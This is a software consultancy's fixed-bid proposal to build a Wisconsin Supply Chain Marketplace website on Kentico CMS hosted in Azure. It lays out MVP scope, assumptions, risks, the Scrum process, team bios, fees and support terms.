Skyline’s recommendation is for WEDC to utilize the base
content management version of Kentico. The following
describes how Kentico can be used to address the
requirements we identified during our scoping discussions.
Implementation details of each feature will depend upon the
final requirements.
Kentico CMS/EMS is the all-inclusive .NET Web Content
Management platform that offers clients a complete solution to
successfully fulfill their web strategies and organizational goals.
As a private, fully profit funded company, the sole focus of
Kentico is the success of its .NET CMS clients. By providing a
cost-effective, enterprise scalable content management system
(CMS), Kentico fully caters to both SMB, global companies and
Fortune 500 clients across all industry verticals for high
performance corporate websites, ecommerce sites, community
sites, intranets, extranets, and portals. Kentico technology is
currently powering more than 12,000 client websites across 87
countries and annually extends its client base by an average of
over 500 new clients.
With over 45 modules and 250 out-of-box web part controls, Kentico CMS not only offers clients a robust feature rich
platform for their web initiatives; but an extremely flexible CMS framework using Kentico’s what you see is what you
get (WYSIWYG) interface and deep integration with Visual Studio. Leveraging Kentico’s fully open, documented API
(application programming interface) and available source code, clients have complete control over structure, design,
and layout of their sites and significantly reduce deployment time, effort, and cost.
Kentico increases a client’s ROI by dramatically enhancing Search Engine Optimization and site ranking with native
features supporting search engine friendly “Smart URLs”, URL aliasing, and content level metadata and taxonomy.
The elements of SEO and search-ability that Kentico CMS delivers are critical to the success of any site, translating to
returning site visitors, new site members, increased sales, and overall site adoption by target site traffic.
Kentico Software maintains over a 90% retention rate for its customers. Clients like Gibson Musical Instruments
(www.gibson.com), a client for 8 years, uses Kentico CMS to support long term web strategies. Kentico CMS clients
continue to use and extend deployment year after year for numerous reasons, not the least of which is platform
stability and flexibility. All Kentico CMS license options support unlimited users/content authors and several licensing
options offer support of unlimited websites. All licenses come inclusive with 1 year of software maintenance and
unlimited phone/email technical support. Additionally, Kentico licenses include keys for unlimited development,
staging, and fail-over environments supporting a complete tiered deployment strategy for the primary site(s). This type
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of license structure makes it very easy for clients to continue to develop and deploy the use of Kentico CMS within
their organization focusing on what’s important, without having to revisit a discussion on licensing.
Kentico CMS makes it easier and more affordable to succeed with your website projects and initiatives by providing a
cost effective, stable platform with an extensive out-of-box feature set and the flexibility to fully accommodate custom
client requirements through an open API and available source code. Kentico clients are able to support long term
web strategies with Kentico CMS, while continually extending deployment; because Kentico licensing options are
affordably in alignment with the “big picture” of our clients. Scalable, stable, robust, flexible, and affordable; these
are the reasons why Kentico continues to grow by 100-150% year after year.
Skyline’s approach is to utilize Kentico out of the box forms-based authentication:
Kentico can store millions of user accounts in its database and they can be easily managed through the
administration interface. User profiles can contain custom fields defined by administrators.
New user accounts can be created by administrators, imported from external systems, or visitors can register
on the website and create an account. Kentico comes with customizable web parts for registration and
account management by users (change password, edit user details, etc.).
Every new version of Kentico goes through detailed security testing and Kentico developers are trained to
write secure code and use internal automated tools for identifying possible security threats in our code.

Project Scope
In Scope
A minimum viable product is an application that meets the minimum features required to release for client use and
feedback. This feedback can be used by Wisconsin Supply Chain Marketplace to determine future direction of the
product. By only building the minimum set of features before release, engineering time is not wasted on unnecessary
or unused features. Wisconsin Supply Chain Marketplace can gather feedback from real users to make informed
decisions on future investments in engineering efforts. Below is a list of features believed to be the minimally viable
product (MVP).
These items have been relayed in the request for proposal to Skyline as minimally viable product for the Wisconsin
Supply Chain Marketplace. The Skyline Business Analyst/Scrum Master will work with Wisconsin Supply Chain
Marketplace’s designated Product Owner to generate a prioritized product backlog. This product backlog will be used
to determine the order of development, to ensure that the highest value items are delivered first. With the
completion of each sprint the completed work will be reviewed and the product backlog will be re-evaluated (changes
in priority, additions, and subtractions) before beginning the next sprint. With each sprint, Wisconsin Supply Chain
Marketplace can continue development, change direction or declare the project complete.

16

Appleton, WI
Green Bay, WI
Milwaukee, WI
skylinetechnologies.com

This proposal includes the development and implementation of this scope, including project management, testing,
and deployment. The Delivery Readiness sprint will address critical bugs. Non-critical bugs will be prioritized by the
Product Owner for completion based on available budget.

Desired Features (MVP)
•

•
•

•

Website design comps developed to be mobile-first and responsive design to adhere to the brand style
guide developed to align with statewide branding. This includes mobile, tablet, and desktop designs
utilizing a style tile to set up web standards, working with Skyline’s Senior UI/UX Designer.
o Develop enhanced user experience to identify audience and allow them to easily navigate to their
appropriate content.
o Develop completely new design for all pages including home page, search results display, directory
listing pages and supplier profile page.
Create Azure environment and hosting configuration.
Site administration, installation, and set up utilizing a web content management system that will include a
WYSIWIG interface configured for the Client team (utilizing Kentico CMS).
o User set up and permissions, including various roles for:
▪ Buyer – Visiting the WI Supply Chain Marketplace to post RFP.
▪ Supplier – A WI supplier looking to provide services for the WI buyers.
▪ Approver – A user for the WI Supply Chain Marketplace that approves and moderate’s
incoming activity from the Buyers and Suppliers on the Supply Chain Marketing website.
▪ Editor – A user for the WI Supply Chain Marketplace that can modify content on the WI
Supply Chain Marketplace website.
▪ Administrator – The administrator that controls all aspects of User and Group creation for
the Supply Chain Marketing website.
o Content approval workflows – allowing review of news items, RFPs, and profiles prior to being
published on the website.
o Onsite search and search results page utilizing Kentico’s out of the box search feature.
o Error pages – 404 and 500 pages.
o HTML and XML site map.
o Robots.txt to prevent indexing prior to launch.
o Favicon.
o CK Editor.
o SASS Compliers.
o Canonical tags.
o Dynamic content redirects.
o Versioning.
o Preview features.
o Media library.
o Any scheduled updates needed.
o Social integration.
Website site build and testing – including responsive design testing for mobile and tablet visitors.
o Navigation
o Mobile navigation
o Master page look and feel
o Page layouts
o Define site typography
o Add site-specific fonts
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•
•
•
•
•
•

•

•
•
•
•

•
•
•
•

•
•
•

Training for WEDC team on site-specific features.
Site typography planning and dropdown navigation and sub-navigation.
Training and guidance on 301 redirects from current website to the new website for SEO purposes.
Media gallery or video reusable content area to enable on multiple sections on the website. Skyline will
build a shell and Client can place as many galleries/videos as desired.
Contact us forms.
Content areas of site – page templates:
o Supplier profile, functionality, ability to post positions.
o Ability to allow a buyer to post an RFP, select interested industries and have an automated email
generate to organizations within those industries.
o Site news.
o Supplier search.
o Position search.
Features and Integrations:
o Data mapping and migration from Concrete5 CMS to Kentico CMS. Skyline will work with WEDC to
determine the appropriate way to handle user IDs and passwords.
o API created for consumption by OEMs.
Social integration
Layout and content areas (including text, images, and video capabilities).
Careers section and employment application with similar functionality to existing site.
Reusable content styles or snippets as needed (see Appendix A for examples):
▪ Hero Sections
▪ Cards and Card Layouts
▪ Image Rotators
▪ Content Sliders
▪ Accordion Control (designed for FAQ sections)
Filtering and tagging of content
Transaction email automation programming for the following, up to 10 automations:
Training and documentation around email automation to allow for the WEDC team to build future
automations as desire (Available if WEDC choses to purchase the EMS version of Kentico.Net applicable for
the CMS version – details in Appendix B).
Browser and device testing - Skyline will test in 4 web browsers and 3 devices chosen by
reviewing your current web traffic. Please note that your selections will include one version of the browser
or OS. Here are some suggestions to choose from based on overall web traffic.
▪ Browsers:
▪ IE 10
▪ IE 11
▪ Latest version of Edge on PC
▪ Latest version of Chrome on PC
▪ Latest version of Firefox on PC
▪ Latest version of Safari on Mac
▪ Devices:
▪ iPad (default browser and latest OS)
▪ iPhone 8 (default browser and latest OS)
▪ Android (Samsung Galaxy) (default browser and latest OS)
Tag website with Google Analytics and post go-live review.
Search Console onboarding and post go-live review.
Performance tuning.
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•

Deployment planning and configuration.

Out of Scope
To allow us to scope this project, we have identified some items which are specifically not part of the project. If
desired, Skyline can provide estimates and change requests to add these components into the project. Components
that are excluded from this scope are as follows:
•
•
•
•

Any items that are not specifically listed in the above In-Scope section of this proposal.
Testing on any devices or operating systems not listed in the In-Scope section.
Content population and image selection will be managed and executed by Client.
The consumption of any data by OEMs is out of scope.

Assumptions
Skyline assumes the following:
•
•
•
•
•
•
•
•
•
•
•
•

The Client team will be responsible for the content plan and creation of content and populating the final
website content (copy, images, video).
Client will be responsible for change management internally.
Skyline assumes all email marketing and newsletter other than automated/transactional emails tied to the
Wisconsin Supply Chain Management website workflows will be deployed from Marketo and there is no
need to build newsletter templates or a subscription center.
Skyline assumes the buyers would have a set role established in the future.
All work will be completed from the Skyline offices.
Work will be done during normal Skyline business hours (8:00 am – 4:30 pm (CST) Monday through Friday
excluding holidays) unless other arrangements are made. Work done outside of business hours is normally billed
at a rate of 1.5 times the normal rate.
The Client team will be utilizing the self-paced Kentico offered training as well.
The Product Owner from Wisconsin Supply Chain Marketplace will participate in all requirements gathering
sessions and will be able to provide the necessary business information and requirements for the project.
The Product Owner will be invited to attend daily scrum meetings.
The Product Owner will need to attend the sprint review/demo that occurs for one hour every two weeks to see
progress on development of the application.
Tasks in this proposal will be created once. If revisions or multiple iterations are desired a change request will be
provided for the additional work.
The Wisconsin Supply Chain Marketplace team will be responsible for UAT testing prior to deployment.
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Project Risks and Mitigation Strategy
Risk exists on every project; however, proactive management of risk may result in a reduction of the impact or
probability of the risk and even its elimination. Risks differ from issues in that issues have occurred or are about to
occur. The project manager will identify and rate risks based upon their impact to the project and probability of
occurrence. The risks listed below are only a sample of some of the risks in a project.

Definition

Probability

Impact

Mitigation Strategy

Necessary parties
unavailable for interviews

Medium

High

Communicate interview schedule early
and sponsorship to enforce schedule.

SMEs lack appropriate
knowledge of business
processes, technologies,
organization’s needs, etc.

Medium

High

Project sponsor pre-validates all
participants for level of skill and fit for
the project

Lack of access to key
documentation on
systems, business plans,
goals and objectives, etc.

Medium

High

Work with WEDC project sponsor to
develop a list of all required documents
and when they will be needed for the
project.

Lack of timely response to
questions, issues, changes
in scope, etc.

High

High

Develop Issues Log and review weekly
with WEDC project sponsor.
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Skyline Technologies’ Proposed Solution
Approach
Scrum Methodology

Skyline follows an agile project management process called Scrum. Scrum is characterized by two-week iterations
where work is completed on the highest priority features (aka user stories) at that time (those with the most business
value or high in technical complexity) and then reviewed with stakeholders who can influence the features and
priorities of subsequent iterations.
Scope is a key driver of schedule and cost. Giving Wisconsin Supply Chain Marketplace control over the scope and
enabling changes in the scope we’re able to focus on building the right product for your business. By giving
Wisconsin Supply Chain Marketplace control over scope, we ultimately give Wisconsin Supply Chain Marketplace
control over schedule and cost. If new high priority MVP items are added, then Wisconsin Supply Chain Marketplace
can remove another high priority MVP item of similar size or have the option to approve a change request for the
additional cost. Our experienced project team will guide Wisconsin Supply Chain Marketplace through the processes
helping you strike the balance between cost, schedule and scope by factoring in business value, technical
competency and quality.

Initiation
The project begins with an initial ramp up sprint with a subset of the full team. This period is commonly referred to as
Initiation. During Initiation, a high-level backlog for the entire project will be established and prioritized based on
input from Wisconsin Supply Chain Marketplace’s Product Owner. This initial period is critical to the future success of
the project. High availability of Wisconsin Supply Chain Marketplace’s Product Owner is essential during this phase.
The work completed in Initiation positions the full team to begin delivering features in Sprint 1 and continue through
additional sprints as needed to complete the minimally viable product.
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Iterative Development
During each two-week development sprint, developers will work on the highest priority features left in the backlog
based on capacity for that sprint. The quality assurance analyst will write test plans and test features as they become
available. The business analyst will actively work with the Product Owner to be ahead of the team, defining
requirements and acceptance criteria for future sprints and act as a product owner proxy to the team. At the end of
each iteration, completed work is reviewed with stakeholders, primarily the Product Owner, and feedback is
incorporated into the planning of the next two-week iteration. During later sprints, a decision can be made at that
time to make a production release if the Product Owner determines the minimally viable product has been achieved.
•

•

Initiation
o Product backlog built with high level user stories.
o Initial scope of the minimally viable product is determined or validated.
o Initial technical foundation established.
o Top priority user stories are detailed and ready for development in Sprint 1.
Iterative Development (Sprint 1 to N)
o Completed user stories identified as MVP - as prioritized by Wisconsin Supply Chain Marketplace and
subject to budget and schedule constraints.
o Ongoing grooming of the backlog:
▪ Reviewing new user stories.
▪ Adjusting priorities.
▪ Defining requirements and acceptance criteria for subsequent sprints.
o Quality assurance testing by Skyline and user acceptance testing by Wisconsin Supply Chain
Marketplace

Value of Proposed Solution
Skyline’s MVP approach allows clients to adjust priorities of features as their business needs change and as we
progress through the project. By only building the minimum set of features before release, engineering time is not
wasted on unnecessary or unused features.
Throughout the entire project we provide the client with written updates on the project’s status. These updates will
highlight any outstanding issues, restate decisions made, and provide updates on the status of the project with a
focus on the schedule and the hours expended.
It is important to stress that communication must be bi-directional. It is Skyline’s responsibility to produce quality
updates and deliverable documents; and it is the client’s duty to review the documentation and provide comments in
a timely fashion.

Key Deliverables
•

•

Initiation
o Product backlog built with high level user stories
o Initial scope of the minimally viable product is determined or validated
o Initial technical foundation established
o Top priority user stories are detailed and ready for development in Sprint 1
Iterative Development (Sprint 1 to N)
o Completed user stories identified as MVP - as prioritized by Wisconsin Supply Chain Marketplace and
subject to budget and schedule constraints
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Ongoing grooming of the backlog
▪ Reviewing new user stories
▪ Adjusting priorities
▪ Defining requirements and acceptance criteria for subsequent sprints
o Quality assurance testing bye Skyline and User acceptance testing by Wisconsin Supply Chain
Marketplace
Delivery Readiness Sprint (Final Sprint)
o Polishing of the codebase and ramp down of active development
o Final production release of the web application
o

•
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Roles and Responsibilities
Skyline has taken an initial attempt at describing roles and responsibilities. As the projects kick off we recommend
defining this as a team to allow everyone to be on the same page and make the most of our partnership.

Roles and Responsibilities (Skyline)
Role

Responsibility

Managing Consultant
and/or Scrum Master

Manages project’s budget, scope, and timeline.
Works hand-in-hand with WEDC to help manage scope and timeline.
Works for the team to improve productivity.
Remove obstacles and resolves impediments.
Provide strategy and subject matter expertise in the area of
public-facing websites and Kentico.
Responsible for identifying and pulling in Skyline associates based
on project need and skillset.

Business Analyst (BA)
Quality Assurance (QA)

Gather and document project requirements
Create user stories.
Provide subject matter expertise in the area of public-facing websites
and Kentico.
Coordinate and facilitate testing with WEDC team.
Writes test cases with input from client subject matter experts.
Develops and coordinates execution of test plan.
Architects the overall solution.
Leads development activities and provides guidance around overall
solution and technical decisions.
Responsible for guidance of configuration of required environments
(e.g. Staging, Production) with WEDC team.
Leads go-live activities.

Tech Lead

Designer

Develops the creative design and graphic elements for the website.
Collaborates closely with the WEDC team to uphold brand guidelines
and standards.
Reviews functionality from a usability perspective.

Front End UX Developer
Software Engineer

Applies the creative design to the CMS and application.
Develops custom components for the website.
Develops system integrations.
Conducts unit tests and initial system/integration tests on developed
code.
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Roles and Responsibilities (WEDC)
WEDC will designate Skyline as Digital Partner of Record (DPOR). Partner of Record is one of the ways that Microsoft
measures Skyline as a Partner. A Partner of Record designation may result in incentives being paid to Skyline from
Microsoft.
Role

Responsibility

Product Owner/
Project Manager

Establishes and promotes vision of the product.
Prioritizes work to maximize ROI.
Coordinates with the web committee, internal stakeholders,
compliance teams,
Determines when or when not to deploy.
Responsible for the Product Backlog (with assistance).
Approves any revision in scope.
Responsible for coordinating with outside agency if utilized for
design.

Web Committee

Oversees the web project as a whole.
Representation from the web committee is expected in the meetings
with key stakeholders.

Information Technology
Team

Participates in the selection of the appropriate hosting solution.
Participates in the review of any technical solutions/platform prior to
implementation.
Business representation for the various sections of the website.
Subject matter experts regarding key website functionality.
Conducts user acceptance testing of delivered software.
Ensures there are no gaps in migration of pages.

Key Stakeholders
(if needed)

Compliance Officers

Ensures compliance with industry guidelines (e.g. NCQA, PHI).
Ensures compliance with accessibility guidelines.
Ensures site meets legal requirements.

Copywriters and Content
Development

Responsible for writing web content including text, images, video.
Responsible for using keyword research as input.
Responsible for on-page content and SEO.
Responsible for populating content on new website.

Freelance Staff/Subcontractors
Skyline will not utilize freelance staff or subcontractors on this project or as a member of the WEDC account
team.
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Profile of Project Team
Below are brief bios of associates who may work on the Wisconsin Supply Chain Marketplace project. Project teams
are secured upon the execution of the statement of work.
Nieko Giuliani, CAPM,
PSM I

Managing Consultant, Digital Marketing and eCommerce Expert
Nieko is a successful ecommerce and marketing professional with expertise in directing
digital strategies that maximize profit and demonstrate excellent customer experience.
With 15 years of digital and marketing experience, Nieko’s experience ranges from both
B2B and B2C website creation and maintenance. Nieko has managed large website
redesign projects including implementing new content management systems,
upgrading to new technology platforms, upgrading analytic toolsets and managing
multiple integrated marketing campaigns.
Experience
• End-to-End Web Project
Management
• Web Design, Strategy, Usability,
Best Practices
• Ecommerce Optimization and
Management
• Content Creation Strategies
• Team Development and
Relationship Building
• Web Reporting and Analysis
• Search Marketing, Display
Advertising, Social
Methodologies
• Agile/Scrum
• Waterfall
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• Consumer Package Goods
• Insurance
• Healthcare
• Finance
• Manufacturing
• Non-Profit
• Travel
Projects
• Parts Ordering App
• Manufacturing Marketing
Campaign Automation
• Website Development
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Shannon Pagels,
PSM I

Business Analyst and Scrum Master
Shannon is a self-motivated professional and effective problem-solver who enjoys the
challenges of achieving goals and accomplishing objectives. She started her software
career training and consulting end-users, and realized she wanted to be part of the
development process to improve the user experience. She has been successful in
understanding and communicating business requirements while also maintaining an
appreciation for what it will take to implement the designed solution.

Shannon has managed website redesign projects including implementing new content
management systems, upgrading to new technology platforms, and managing multiple
integrated marketing campaigns. Shannon embraces new challenges and the chance to
work on new projects. She looks at every project as an opportunity to grow as an
individual and form new relationships, while delivering quality solutions.

Experience

Industries Served

• Requirements Definition, Planning,
Monitoring & Delivery Techniques
• Change Management
• User Acceptance Testing/Training

Methodologies

•
•
•
•

Insurance
Healthcare
Finance
Human Resources

Projects

• Agile/Scrum

• HRIS
• Management Software
• Website Development
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Daniel Maley

Software Engineer II, Tech Lead
Daniel is a dedicated technical lead on the Skyline Web and Content Management
System (CMS) team and is well versed in the Microsoft technology stack. During his
time with the team Daniel has worked to develop custom functionally and complex
integrations within the Kentico CMS platform for many of Skyline’s key clients.
Prior to joining the Web and CMS team Daniel was part of the Skyline Client Care team
where he helped support existing clients on many different custom software
applications including order management, workflow, single sign on, and public facing
websites in a variety of industries. He has also served as a member of Skyline’s custom
software team where he worked as part of an agile team to enhance an international
web solution, used in 30 countries and translated to over 15 languages.
Development Experience
• C#
• ASP.NET Core/MVC, .NET 3.5 +
• SQL Server
• Azure
• Angular 4
• JS/JQuery/CSS/HTML
• Entity Framework
• Kentico CMS/EMS
(Kentico Certified Developer)
• Kentico Cloud Headless CMS
Methodologies
• Agile/Scrum
• Waterfall
Additional Technical Experience
• SDLC
• Software Design – Object
Oriented
• Visual Studio
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• Insurance
• Non-Profit
• Finance
• Healthcare
• Business & Professional
Associations
• Manufacturing
• Business Services
• Retail
Projects
• Public Facing/International
Websites
• Workflow Process Applications
• Online Services
• Order Management Systems
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Peter Chanthasena

Senior UX Web Designer
Peter Chanthasena is a design professional with experience in many different areas of
design, ranging from: video game interface systems, mobile application design for both
iOS and Android, enterprise application designs, and AR/VR UI design to various
traditional print design methods.
Peter Chanthasena is the Senior User Interface / User Experience (UI/UX) Designer at
skyline. He is responsible for the improvement and future integration of new UI
systems.
Past business associates summarize Peter as an easy-going, sociable, person who is
passionate about great design improving the quality of experiences.
Technical Experience
• Adobe Illustrator (CS6)
• Adobe Photoshop (CS6)
• Adobe InDesign (CS6)
• Sketch App
• Invision Prototyping Tool
• Zeplin.io
• Google Analytics Certified
Methodologies
• Agile/Scrum
• Waterfall
Additional Technical Experience
• HTML 5
• CSS 3
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• Manufacturing
• Hospitality
• Video Game
• Healthcare
• Education
Projects
• Packaging Enterprise Marketing
Microsoft Application
• Interactive Touch-Screen Hospital
Patient Board
• Unified Messaging Platform
Application for Schools
• Massively Multi-Player Online
Role-Playing Game Interface
System
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Melanie Lenaghan

Software Engineer
Melanie has over 12 years of experience in a marketing and design environment. Her
focus in the last year has been front end development. Melanie has experience in web
UI working with Kentico content management platform. Her web design skills bring an
experience eye for responsiveness.
Melanie also has robust experience in digital marketing and marketing automation,
specifically designing, creating and implementing email marketing campaigns in the
Salesforce Marketing Cloud application. Melanie is versed in managing the data
structures in and deploying both dynamic and static email campaigns. She has earned
advanced automation and programming certification on the Salesforce Marketing
Cloud platform and has experience building landing pages to support various types of
marketing campaigns.
Development Experience
• SQL
• JS/jQuery/CSS/HTML
• Bootstrap
• DNN Certified Developer
• Salesforce Marketing Cloud
Certified
• Kentico CMS/EMS
• Kentico Cloud Headless CMS
• Kentico Certified Online Marketer
• Google Analytics Certified
Methodologies
• Agile/Scrum
• Waterfall
Additional Technical Experience
• Web Design and Development
• Email Marketing
• Marketing Automations
• Business Analysis
• Quality Assurance
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• Manufacturing
• Associations
• Finance
• Food Service
• Healthcare
• Transportation
Projects
• Manufacturing Marketing
Campaign Automation
• Website Development
• Entertainment Schedule App
(iOS and Android)
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Axel Larsen

Software Engineer II
Axel is a talented web and application developer whose strengths in visual and userexperience design give him a unique perspective throughout the development process.
Throughout his time at Skyline, Axel has assisted and led clients to create technologies
that reflect their company's brand and values and meets consumer expectations.
Axel’s hybrid skillset of design and development bridges the gap between the functional
world of development and interactive world of design, providing value to the team,
product and organization.
Development Experience
• ASP.Net
• SQL/T-SQL
• MVC
• Bootstrap
• LESS/SASS
• JS/CSS/HTML
• Kentico CMS/EMS
(Kentico Certified Developer)
• Kentico Cloud Headless CMS
• Google Analytics Certified

Industries Served
• Non-Profit
• Associations
• Healthcare
• Transportation
• Manufacturing
• Insurance
• Finance
• Software
• Tourism
• Education

Methodologies
• Agile/Scrum
• Waterfall

Projects
• Website Design and
Development
• Web Analytics Customization
• Healthcare Price Comparison
Website
• Parts Ordering App

Additional Technical Experience
• Website and App Design
• User Experience
• Web Content Management
Systems
• App Development
• Web Analytics
• Visual Studio
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Nick Kwiecien

Software Engineer I
Nick has been working on best-in-class, public facing websites for over four years. He
communicates well, collaborating with highly talented cross-functional teams to deliver
robust, high-performing scalable solutions. He is a strong developer in various
platforms who can augment a distributed development team to architect and build
content management and multi-channel marketing solutions or work independently
maintaining and developing sites.
Nick strives for a great client experience and works to create quality code. He has
experience with a variety of hosting solutions. He can quickly adapt to changes in
requirements and challenges with a positive outlook.
Development Experience
• C# / ASP.Net
• SQL Server
• MVC
• Microsoft Visual Basic
• JQuery
• JS/CSS/HTML
• Kentico CMS/EMS
(Kentico Certified Developer)
• Sitecore
Methodologies
• Agile/Scrum
• Waterfall
Additional Technical Experience
• Windows
• Kockout JS
• Cloud (Azure)
• Rackspace
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Professional Fees
Project Investment
This project is a fixed bid. The prices and terms in this proposal are valid for 60 days from the date of receipt. This
proposal does not include any potential sales or use tax applicable to this project(s).

Description
Kentico CMS Base Licensing – perpetual license
Kentico Annual Maintenance – 1 additional year
Skyline Kentico Gold Partner Discount – 10%
Kentico Training – 1 seat
Website Build, Testing, and Site-Specific Training
Total

Cost
$4,499
$1,349
($585)
$500

$80,000
$85,763

The estimate above assumes Skyline will utilize the CMS Base Licensing tier. This will not allow the WEDC team to
update the automated emails generated by the site. If WEDC desires to have the ability to update the automated
emails, we recommend a higher licensing tier, the Kentico EMS version. Additional information located in Appendix B.
Kentico licensing is a perpetual license, the annual maintenance licensing allows for:
•
•
•

Technical support during the maintenance period
Major upgrades (11.0, 12.0, etc.) released during the maintenance period
Kentico releases one major upgrade per year

Maintenance License
Effective Date:
Billing for Renewal Fee:

2020 – 2021
Upon execution of agreement. Invoice will come from Skyline.

Skyline or Kentico will provide notice of renewal at least 30 days prior and again at the time of expiration. In the event
that you do not renew within 30 days of expiration, a late fee of 50% of the maintenance cost is applied by Kentico.
Kentico License Agreement
http://www.kentico.com/getattachment/Purchase/Licensing/Overview/License-Agreement-US.pdf

Payment/Retainer
Skyline invoices twice a month, once on the 15th of the month and then again at the end of the month.

33

Appleton, WI
Green Bay, WI
Milwaukee, WI
skylinetechnologies.com

Ongoing Maintenance and Support (Client Care)
Skyline recommends the following for ongoing support, maintenance, and website enhancements.
Included Activities:
▪ 45 hours a quarter, reserved quarterly capacity for 3 years
▪ Monthly proactive planning meeting to assess priorities, consult on long term vs short term goals, etc.
▪ Enhancements
▪ Development
▪ Project coordination and management
▪ Testing
▪ Deployment
▪ Issue Resolution
▪ Consultations with specialists as needed
Kentico releases one major version annually. The effort to upgrade yearly would be included in this
maintenance bucket and would be one quarter’s worth of effort.
Investment: $6,750 quarter/$27,000 annually
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Hosting
The easiest and most stable solution for hosting is to host the website in Microsoft Azure. Skyline recommends
hosting in Azure based on past years of stability and speed. Skyline suspects there will be improvement in site
speed utilizing Microsoft Azure over other hosting environments.

Azure Hosting
The costs below are an estimated cost. Skyline recommends a Microsoft PaaS implementation, utilizing a
Standard S2 instance for most sites. Skyline will pass along our Microsoft partner discount of 10% if hosting is
purchased through Skyline.
Plan for approximately $240/month for an S2 instance, with a 10% discount of $24/month.
Rough annual hosting is $3,000.
Standard service plan (Website):
Standard S2 instance - approx. $150/month
SQL Database Single DB:
Standard S2 - approx. $75/month
Bandwidth (Data moving in and out of Azure):
First 5GB – Free
$.08 per GB after the first 5GB
Actual cost will vary as Azure bills on data consumption.

Travel Costs
Significant travel creates a lost opportunity cost due to time necessary for traveling to a client site. In an effort to
offset this cost, a trip charge will be applied.
Every effort to conduct meetings that can be done via teleconference or web conferences will be used to minimize
these travel-related costs. These costs are not included in the Project Investment, above. The Project Investment is
labor-only; travel is not included in that Project Investment estimate.

Estimated Timeline
This project is estimated to take 6 - 7 sprints or 12 - 14 weeks to be completed and deployed to production (not
including content entry) depending upon client availability. WEDC has expressed the desire to launch the site prior to
June 30, 2019. Skyline’s approach is to begin the project quickly after the project is awarded (ETA March 8th, 2019)
to remove risk of not meeting this date. This estimate may change if assumptions are incorrect, if change requests
are completed to add or alter functionality, or if features are reprioritized within the backlog.
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Quality Management
Skyline associates take a pragmatic approach to quality. While every attempt is made to minimize defects in the
solution as it is delivered, it is unreasonable to expect a 100% defect-free system will be delivered in the first release.
The cost to do this would be prohibitive and the delivery date would be extended significantly. Rather, testing is
concentrated on high risk, high priority features and processes to ensure these are working correctly when the
software is deployed. Likewise, critical defects are addressed before lower priority defects.

Change Control
In many software development projects, items are added to the project as the project progresses. Skyline fully
understands and accepts this reality. To maintain a shared understanding of the complete scope of a project and its
estimated cost, Skyline has implemented the following process for managing emerging needs.
Requests submitted to Skyline will be assessed and a scaled down, written proposal/change request will be created
for the implementation of the requested changes. This change request will address both budgetary issues and
timeframe issues.
If the change request is accepted, the change will be reflected as a scope change on future status reports and the
project budget and/or timeframe adjusted accordingly. Scope changes will result in additional funds being requested
to cover the changes. These funds will be tracked separately from the project costs.

Our Continued Partnership
Warranty
Skyline warrants defects found in Skyline developed code will be fixed at no cost to you for one month following
launch of the original project. The following criteria must be met for Skyline to provide warranty:
•
•
•
•
•

Must be a Skyline developed application/web site.
QA testing must be completed by the Skyline Team as part of the project.
The defect can be replicated, traceable, and corrected within the Skyline code.
Skyline cannot warranty third-party tools or controls implemented within the site.
There is the possibility of an extended warranty with a client care maintenance and support agreement.

Client Care - Application Maintenance & Support
Your website is an investment. With proper maintenance, the ROI you realize can continue to grow. Skyline’s goal is
to provide a solution that can be supported by your IT staff. Should your IT staff not have the capacity to manage your
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website, Skyline’s Client Care team can partner with your company to provide the desired services to meet your
needs.
Skyline Client Care can keep your application current with:
•
•
•
•
•
•
•
•

Functionality enhancements
Security updates
Version updates
New tech integrations
Compatibility upgrades
Technical documentation
Expansion/implementation of analytics
Planned releases

Skyline’s Client Care program includes numerous benefits to help you maintain and improve website. Client Care can
be right-sized to meet your needs and budget that ensures continued value from your investment and ensures you
are keeping pace in a rapidly changing technology landscape. For more information, please contact your Skyline
Project Team or your Business Development Manager.

Confidential
The information in this document is confidential and shall not be duplicated, used, or disclosed in whole or in part
outside of the Client’s organization.

Why Skyline?
Skyline helps organizations digitally transform by delivering improved business performance through increased
customer engagement, data driven insights, and transformative products and services. Our 150+ consultants mold
solutions around your goal, never the other way around. Big or small, we can scale to deliver any sized project.
We are committed to hiring, developing, and retaining the most talented individuals in the IT field. They are
innovators, developers, and implementers who possess a great business sense as well as outstanding technical
skills. Skyline associates will bring strategic business value to your company by delivering creative, cutting-edge
solutions that will help you convert your ideas into great new products and services.
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Skyline is a Microsoft Gold Certified Partner
Skyline holds six Microsoft Gold Competencies:
• Gold Application Development
• Gold Data Analytics
• Gold Cloud Platform
• Gold Cloud Productivity
• Gold Collaboration and Content
• Gold DevOps
* Each Gold Competency requires multiple engineers to obtain MSCD level certification (pass 3 or more exams on
several topics). Individual Engineers and Certifications cannot be reused for other competencies.

Skyline Discounts
Based on Skyline being a Microsoft Cloud Solution Partner (CSP) and a Gold Partner, Skyline has access to funding
opportunities from Microsoft as well as discounts. At the time of this writing, Skyline can provide WEDC with a 10%
discount off retail pricing for Azure consumption.

Microsoft Partnership Skyline Accolades and Recognition
•
•
•

•
•
•
•

Several Microsoft MVPs over the years in Web and Windows Platform
• Annual recognition
• Currently have one Windows Platform MVP
Regional Director – One Skyline associate is a Microsoft Regional Director (RD) and a Microsoft Most Valuable
Professional (MVP), recognizing his technical expertise, business acumen, and commitment to the technical
community. In addition, he stays up to date with industry certifications and is a Microsoft Certified Trainer.
Featured at Global and National Conferences
• World Partner Conference, 2016 for Mile of Music App
• World Partner Conference, 2013 for Azure work with TREK
• Build Conference, 2012 for the clearTREND application
• Live! 360 Conference, 2012 featuring 2 speakers and 3 talks
Member of the Windows Azure Circle Program
Azure Partner of the Year, 2013
Azure Virtual Technology Specialist of the Year, 2012
Microsoft produced Video Case Studies of Skyline’s work with our clients
• TREK
• Appleton Group

Skyline is a Kentico Gold Certified Partner
•

Kentico Gold Partner featuring competencies demonstrating our expertise.
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•
•

Azure (1 of 13 partners worldwide, the only partner in the Midwest)
Online Marketing (1 of 3 partners in the US)
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Appendix A
Sample Reusable Content Styles
The below reusable content styles are examples of how Skyline would make content entry easy and flexible for WEDC.
Client website specific branding and style would be applied to all reusable styles in accordance with brand standards.

Hero Sections
Hero sections are most widely used at the top of a page but also can break up sections of content on a page and
serve as a call to action to users.
A hero image type – home page, for example counts as one design element.
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Cards
Cards are often used in a listing section and show an image, video, or visual element. Their size and spacing can vary
in addition to the amount of detail shown in each card. The layout of the listing can vary as well (see layouts below).
Card Layouts
Select 1 of the following layouts.
Columns

Grid

Card Styles
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Rotators
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Content Slider
Content sliders show multiple pieces of content at once and allow users to slide what’s shown incrementally. The
larger the device, the more columns are shown. Most content sliders end up utilizing a Card (see above) for each
piece of content to show.

Accordion Control
